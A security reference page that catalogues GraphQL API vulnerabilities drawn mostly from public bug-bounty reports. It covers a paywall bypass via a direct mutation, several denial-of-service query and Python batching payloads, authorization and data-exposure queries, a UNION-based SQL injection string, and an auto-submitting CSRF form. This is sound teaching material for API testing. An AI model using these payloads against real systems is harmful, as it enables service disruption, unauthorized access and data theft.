> For the complete documentation index, see [llms.txt](https://sallam.gitbook.io/sec-88/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sallam.gitbook.io/sec-88/api-sec/graphql-api-security-testing/vulnerabilities-reports-and-exploits.md).

# VULNERABILITIES, REPORTS AND EXPLOITS

### Bypass Paywall Using GraphQL

Some targets differentiate between free and premium features through GUI-based paywalls that block access to certain functionalities unless you pay. However, with **GraphQL introspection enabled**, I uncovered the mutation that this feature utilizes, allowing me to bypass the paywall by directly interacting with the API.

#### Steps:

1. **GraphQL**:
   * Identified the mutation being used for the restricted feature.
2. **Direct API Request**:
   * Used the mutation directly via an API request, bypassing the paywall GUI restriction.

#### Example Request:

```http
POST /t/graphql/org/{your-orgID}?q=ChangeUsersOrgRole HTTP/2
Host: app.target.com
Cookie: <your-cookie>
User-Agent: <your-user-agent>
Referer: https://app.target.com/analytics/sallam/settings/users/joined
Content-Type: application/json
X-Org: 315336
Content-Length: 557
Origin: https://app.target.com

{
  "query": "mutation ChangeUsersOrgRole($loginIds: [ID!]!, $orgRole: Int!) {\n  changeUsersOrgRole(loginIds: $loginIds, orgRole: $orgRole) {\n    ...userFields\n    __typename\n  }\n}\n\nfragment userFields on User {\n  id\n  alias\n  avatarVersion\n  blurb\n  createdAt\n  defaultAllProjectRole\n  defaultAppId\n  email\n  firstName\n  fullName\n  hasAvatar\n  hasOutstandingInvite\n  isConnectedToSlack\n  lastName\n  loginId\n  name\n  orgRole\n  orgTeam\n  title\n  pronouns\n  __typename\n}\n",
  "variables": {
    "loginIds": ["sallam@cyberar.net"],
    "orgRole": 1
  }
}
```

#### Result:

By sending this request, the paywall was bypassed, granting access to the restricted feature. This highlights how misconfigured GraphQL endpoints and exposed mutations can lead to security vulnerabilities.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FJYuGuK8M1FxPZN4Gv56w%2Fimage.png?alt=media&amp;token=e6de0bbf-8408-443b-b25e-20d825b5164a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2Fk5wssTUz7BAAdOrUwvpG%2Fimage.png?alt=media&amp;token=c86696ad-99ac-4285-8bfe-5420020a7876" alt=""><figcaption></figcaption></figure>

### Denial of Service (DoS)

* **A Large Payload (HackerOne):** A hacker found that HackerOne did not enforce a character limit on API query inputs, despite documentation indicating one. A Python exploit was used to send a large payload, demonstrating that the server was vulnerable to denial of service when receiving large inputs.

{% embed url="<https://hackerone.com/reports/887321>" %}
&#x20;
{% endembed %}

* **Regular Expressions (CS Money):** A vulnerability was discovered where a user could cause a denial of service by using a regular expression . The vulnerability involved a query that used regular expressions, which could lead to a ReDoS (Regular Expression Denial of Service) attack, where a crafted regular expression causes the server to hang .

```graphql
query {
    search(q: "\u0000)", lang: "en") {
    --snip--
}

In response to this query, the GraphQL API server returned an interesting
error that revealed some information critical to identifying the existence of
the ReDoS vulnerability:

"errors": [
    {
    "message": "value (?=.*\u0000) must not contain null by tes"
    --snip--
    }
]
```

As you can see, the string supplied through the q argument was inserted into regex-matching logic on the server, indicated by the preceding (?=.\*string in the response. The server might use this argument to search for relevant data in a database.

{% embed url="<https://hackerone.com/reports/1000567>" %}

* **A Circular Introspection Query (GitLab):** A circular introspection query was used to cause a denial of service on a GitLab server . The attack involved creating two fragments that reference each other on the `__Schema` type, leading to an infinite loop and freezing the server . The code snippet for this exploit is:

```graphql
query {
    __schema {
        types {
            fields {
                type {
                    fields {
                        type {
                            --snip--
                        }
                    }
                }
            }
        }
    }
}
```

* **Aliases for Field Duplication (Magento):** A vulnerability using aliases to duplicate fields led to a denial of service . The exploit involves using aliases to send duplicate fields in a query, which can cause the server to consume more resources than necessary .

```graphql
query {
    alias1: countries {
        full_name_english
        full_name_english # continues 1000s of times
        --snip--
    }
    
    alias2: countries {
        --snip--
    }
    
    alias3: countries {
        --snip--
    }
}
```

* **Array-Based Batching for Field Duplication (WPGraphQL):** An array-based batching technique was used to duplicate fields and cause a denial of service on WPGraphQL, a WordPress plug-in . The following code is a snippet of an exploit that demonstrates the vulnerability:

```python
payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}
for _ in range(0, CHAINED_REQUESTS):
    queries.append(query)
r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {}'.format(r.elapsed.total_seconds()))
```

* **Circular Fragments (Agoo):** A circular fragment condition was exploited to cause a denial of service on an Agoo server . The exploit creates two fragments that reference each other and then includes one of them in a query, causing an infinite loop.

```graphql
query Introspection {
    __schema {
        directives {
            name
        }
    }
}

-------------------
query CircularFragment {
    __schema {
         ...A
    }
}

fragment A on __Schema {
    directives {
        name
    }
 ...B
}

fragment B on __Schema {
     ...A
}
```

### Broken Authorization

* **Allowing Data Access to Deactivated Users (GitLab):** A vulnerability in GitLab allowed deactivated users to still access data through the GraphQL API . The vulnerability highlights that while a user may be deactivated, their data may still be accessible through the GraphQL endpoint.

{% embed url="<https://hackerone.com/reports/1192460>" %}

* **Allowing an Unprivileged Staff Member to Modify a Customer’s Email (Shopify):** A vulnerability in Shopify allowed unprivileged staff members to modify customer emails . This showed how authorization flaws could lead to unwanted data modification through the GraphQL API.

{% embed url="<https://hackerone.com/reports/980511>" %}

* **Disclosing the Number of Allowed Hackers Through a Team Object (HackerOne):** A vulnerability on HackerOne allowed the disclosure of the number of allowed hackers through a team object . This vulnerability shows that even seemingly innocuous data disclosure can be an issue.

{% embed url="<https://hackerone.com/reports/342978>" %}

* **Reading Private Notes (GitLab):** A vulnerability in GitLab’s GraphQL API allowed hackers to read private notes, even though they were restricted in the REST API . The query used to exploit this vulnerability is:

{% embed url="<https://hackerone.com/reports/633001>" %}

```graphql
query {
   project(fullPath:"username16/ci-test"){
     issue(iid:"1"){
       descriptionHtml
       notes {
         edges {
           node {
             bodyHtml
             system
             author {
               username
             }
             body
           }
         }
       }
     }
   }
}
```

* **Disclosing Payment Transaction Information (HackerOne):** A vulnerability on HackerOne allowed access to payment transaction information . The vulnerability allowed an unauthorized user to access a total count of payment transactions, revealing sensitive financial information .

{% embed url="<https://hackerone.com/reports/707433>" %}

### Information Disclosure

* **Enumerating GraphQL Users (GitLab):** A vulnerability allowed the enumeration of GraphQL users . This vulnerability showed how an API may inadvertently expose user information.

```graphql
query {
    users {
        nodes {
            id
            name
            username
        }
    }
}
```

* **Accessing the Introspection Query via WebSocket (Nuri):** A vulnerability was found in Nuri where the introspection query was accessible via WebSocket .

{% embed url="<https://hackerone.com/reports/862835>" %}

### Injection

* **SQL Injection in a GET Query Parameter (HackerOne):** A SQL injection vulnerability was found in a HackerOne application in a GET query parameter . This showed how GraphQL endpoints can be vulnerable to common injection attacks through GET requests.

{% embed url="<https://hackerone.com/reports/435066>" %}

* **SQL Injection in an Object Argument (Apache SkyWalking):** A SQL injection vulnerability was found in Apache SkyWalking where the vulnerability was located in an object argument . A code review revealed that the vulnerability stemmed from a lack of sanitization when constructing SQL queries using client-supplied data .

```graphql
query SQLi($d: Duration!) {
    getLinearIntValues(metric:{name: "all_p99", id: "') UNION SELECT 1,CONCAT('~','9999999999','~')--"},duration: $d) {
        values {
            value
        }
    }
}
```

{% embed url="<https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2020/CVE-2020-9483.yaml>" %}

* **Cross-Site Scripting (GraphQL Playground):** A cross-site scripting vulnerability was found in GraphQL Playground .

```javascript
class UserObject(SQLAlchemyObjectType):
    class Meta:
        name = "MyMaliciousTypeName"
        model = User
```

### Cross-Site Request Forgery (CSRF)

* A CSRF vulnerability was found in GitLab . The following GraphQL mutation was used to exploit the vulnerability:

{% embed url="<https://hackerone.com/reports/1122408>" %}

```html
<form action="https://gitlab.com/api/graphql/" id="csrf-form" method="GET"> ❶
    <input name= "query" value="mutation CreateSnippet($input: CreateSnippetInput!) --snip--">
    <input name= "variables" value='{"input":{"title":"Tesssst Snippet"} --snip--'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
```

```graphql
mutation CreateSnippet($input: CreateSnippetInput!) {
  createSnippet(input: $input) {
    errors
    snippet {
      webUrl
      __typename
    }
    --snip--
  }
}
```
